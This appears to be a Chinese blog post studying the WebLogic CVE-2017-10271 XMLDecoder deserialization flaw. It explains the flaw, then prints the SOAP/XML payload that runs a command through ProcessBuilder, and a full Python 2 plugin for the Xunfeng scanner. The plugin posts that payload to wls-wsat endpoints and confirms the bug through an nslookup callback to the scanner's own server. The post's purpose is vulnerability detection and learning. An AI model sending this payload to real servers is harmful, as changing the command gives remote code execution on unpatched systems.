一、原理:

  很明显啦,readobject又出来背锅了,一个XML的反序列化漏洞导致的命令执行。

  具体原理我看不懂java代码的我也只能学习别人的分析。给出一篇参考文章,写的非常详细:

  漏洞原理

二、如何构造命令执行的payload-xml:

 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>nslookup</string> #命令名称
</void>
<void index="1">
<string>%s</string> #巡风的随机字符串,用来后面去查HTTP或者DNS log的flag字符串
</void>
<void index="2">
<string>%s</string> #目标IP
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

三、巡风的poc分析:

讲一下验证流程:

1、首先发包请求目标地址,如果目标地址返回存在banner信息:Web Services在报文中则进行下一步测试。 (首先得有weblogic啊)

2、发请求把XML内容 POST到目标主机去,休息2s后请求巡风的自己的WEB服务器上的http://%s:8088/{随机字符串} 相当于记录了NSLOOKUP的dnslog。如何查到了,返回结果有YES则存在漏洞,否则不存在。

 #!/usr/bin/python
# coding:utf-8
'''
巡风及巡风的插件基于python2
主要有两个函数:
get_plugin_info() 返回插件信息
check(ip, port, timeout) 接收IP,端口号及超时参数供巡风主程序调用,有返回值且返回值在判断里为True,即为漏洞存在,返回值即为本次的扫描结果,详情请看接下来的函数实现
''' import random
import urllib2
import socket
from time import sleep def get_plugin_info():
'''get_plugin_info 函数用于返回该插件和插件所检测漏洞的信息'''
plugin_info = {
"name": "WebLogic WLS RCE CVE-2017-10271",
"info": "Oracle WebLogic Server WLS安全组件中的缺陷导致远程命令执行",
"level": "高危",
"type": "命令执行",
"author": ".@sinosig",
"url": "https://www.oracle.com/technetwork/topics/security/cpuoct2017-3236626.html",
"keyword": "tag:weblogic",
}
return plugin_info def random_str(len):
'''返回随机字符串'''
str1 = ""
for i in range(len):
str1 += (random.choice("ABCDEFGH1234567890"))
return str(str1) def get_ver_ip(ip):
'''返回当前服务器ip,当poc所用payload无回显时,可以使用巡风辅助验证的http服务和dns服务'''
csock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
csock.connect((ip, 80))
(addr, port) = csock.getsockname()
csock.close()
return addr def check(ip, port, timeout):
'''本次poc的验证的主函数,巡风会调用该函数进行漏洞检测'''
test_str = random_str(6)
server_ip = get_ver_ip(ip)
check_url = ['/wls-wsat/CoordinatorPortType', '/wls-wsat/CoordinatorPortType11'] heads = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8',
'SOAPAction': "",
'Content-Type': 'text/xml;charset=UTF-8',
} # 本次漏洞的payload
# 本次命令执行漏洞的payload所触发的response没有明显回显和行为提供判断,所以作者使用nslookup发送dns请求到get_ver_ip函数中取到的服务器地址,如果巡风服务器收到带有random_str函数生成的随机字符串的dns请求即可判断为漏洞存在。
post_str = '''
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>nslookup</string>
</void>
<void index="1">
<string>%s</string>
</void>
<void index="2">
<string>%s</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
''' % (test_str, server_ip)
for url in check_url:
target_url = 'http://' + ip + ':' + str(port) + url.strip()
req = urllib2.Request(url=target_url, headers=heads)
if 'Web Services' in urllib2.urlopen(req, timeout=timeout).read():
req = urllib2.Request(url=target_url, data=post_str, headers=heads)
try:
urllib2.urlopen(req, timeout=timeout).read()
except urllib2.URLError:
pass
sleep(2)
# 这里请求 http://{巡风的地址}:8088/{本次生成随机字符串} 如果返回YES,则证明服务器收到该请求,漏洞存在
check_result = urllib2.urlopen("http://%s:8088/%s" % (server_ip, test_str), timeout=timeout).read()
if "YES" in check_result:
return "Exist CVE-2017-10271"
else:
pass

weblogic新漏洞学习cve-2017-10271的更多相关文章

  1. weblogic重要漏洞记录

    (PS:之前在freebuf发过,这里直接复制过来的,所以有些图片会有水印) 前言 T3协议存在多个反序列化漏洞CVE-2015-4852/CVE-2016-0638/CVE-2016-3510/CV ...

  2. JWT漏洞学习

    JWT漏洞学习 什么是JWT? JWT是JSON Web Token的缩写,它是一串带有声明信息的字符串,由服务端使用加密算法对信息签名,以保证其完整性和不可伪造性.Token里可以包含所有必要的信息 ...

  3. weblogic CVE-2018-2628漏洞利用工具

    weblogic CVE-2018-2628漏洞利用 漏洞环境: Windows2018R2 weblogic10.3.6 漏洞利用过程: 搭建好存在CVE-2018-2628漏洞的weblogic平 ...

  4. Weblogic CVE-2020-2551漏洞复现&CS实战利用

    Weblogic CVE-2020-2551漏洞复现 Weblogic IIOP 反序列化 漏洞原理 https://www.anquanke.com/post/id/199227#h3-7 http ...

  5. Weblogic CVE-2020-2551漏洞复现

    Weblogic CVE-2020-2551漏洞复现 0x00 前言 在一次渗透测试过程中,碰见了该漏洞,并使用在野的POC验证了这个漏洞存在,当时工具网传的利用方式去进行利用,没有成功,可能是自己太 ...

  6. PWN二进制漏洞学习指南

    目录 PWN二进制漏洞学习指南 前言 前置技能 PWN概念 概述 发音 术语 PWN环境搭建 PWN知识学习途径 常见漏洞 安全机制 PWN技巧 PWN相关资源博客 Pwn菜鸡小分队 PWN二进制漏洞 ...

  7. Weblogic反序列化漏洞补丁更新解决方案

    Weblogic反序列化漏洞的解决方案基于网上给的方案有两种: 第一种方案如下 使用SerialKiller替换进行序列化操作的ObjectInputStream类; 在不影响业务的情况下,临时删除掉 ...

  8. XSS漏洞学习笔记

    XSS漏洞学习 简介 xss漏洞,英文名为cross site scripting. xss最大的特点就是能注入恶意的代码到用户浏览器的网页上,从而达到劫持用户会话的目的. 说白了就是想尽办法让你加载 ...

  9. weblogic系列漏洞整理 -- 5. weblogic SSRF 漏洞 UDDI Explorer对外开放 (CVE-2014-4210)

    目录 五. weblogic SSRF 漏洞 UDDI Explorer对外开放 (CVE-2014-4210) 1. 利用过程 2. 修复建议 一.weblogic安装 http://www.cnb ...

随机推荐

  1. BeamNG.drive物理引擎评鉴

    BeamNG.drive是一款由BeamNG公司开发并于2013年首次发布的软体物理模拟游戏.作为模拟游戏,特别是物理模拟的粉丝,我早早就开始使用BeamNG.drive.我立即对崩溃的准确性和细节印 ...

  2. iOS边练边学--UINavigationController导航条的使用

    一.使用UINavigationController的步骤以及代码 // 程序加载完成后执行的代码 - (BOOL)application:(UIApplication *)application d ...

  3. BF + KMP + BM 字符串搜索算法

    BF #include <stdio.h> #include <string.h> int simplicity(char *s, char *t, int pos); int ...

  4. Charles安装包及破解包下载地址

    Charles安装包及破解包下载地址 http://xclient.info/s/charles.html?_=baf317d2a9932afca9b32c327f8a34c9

  5. Firefox 在LR录制过程中添加例外的问题解决方法

    用lr调火狐打开网页  会报证书安全问题 证书安全提示目的是告诉你这个服务器使用的证书可能不安全,要不要信任,你自己决定,不信任就不能访问.为什么会报证书安全,因为浏览器没添加该证书.或者由于性能工具 ...

  6. [转载]如何解决failed to push some refs to git

    Administrator@PC-20150110FGWU /K/cocos2d/yc (master) $ git push -u origin master To git@github.com:y ...

  7. 下列没有直接采用XML技术的是( )

    A. UDDI B. SOAP C. AJAX D.DCOM 解答:D DCOM(分布式组件对象模型,分布式组件对象模式)是一系列微软的概念和程序接口,利用这个接口,客户端程序对象能够请求来自网络中另 ...

  8. e685. 显示页面格式窗口

    The page format dialog allows the user to change the default page format values such as the orientat ...

  9. javascript -- 将数组转换为字符串:join()

    join(separator) 方法用于把数组中的所有元素放入一个字符串.元素是通过指定的分隔符进行分隔的. separator:可选,指定要使用的分隔符.如果省略该参数,则默认使用逗号作为分隔符 v ...

  10. Windows App开发之集成设置、帮助、搜索和共享

    应用设置和应用帮助 "设置"合约 上一节中我们学习了怎样将应用设置保存到本地.这样的方式是通过在App内加入设置选项,这里另一种方式. 微软将其称为"设置"合约 ...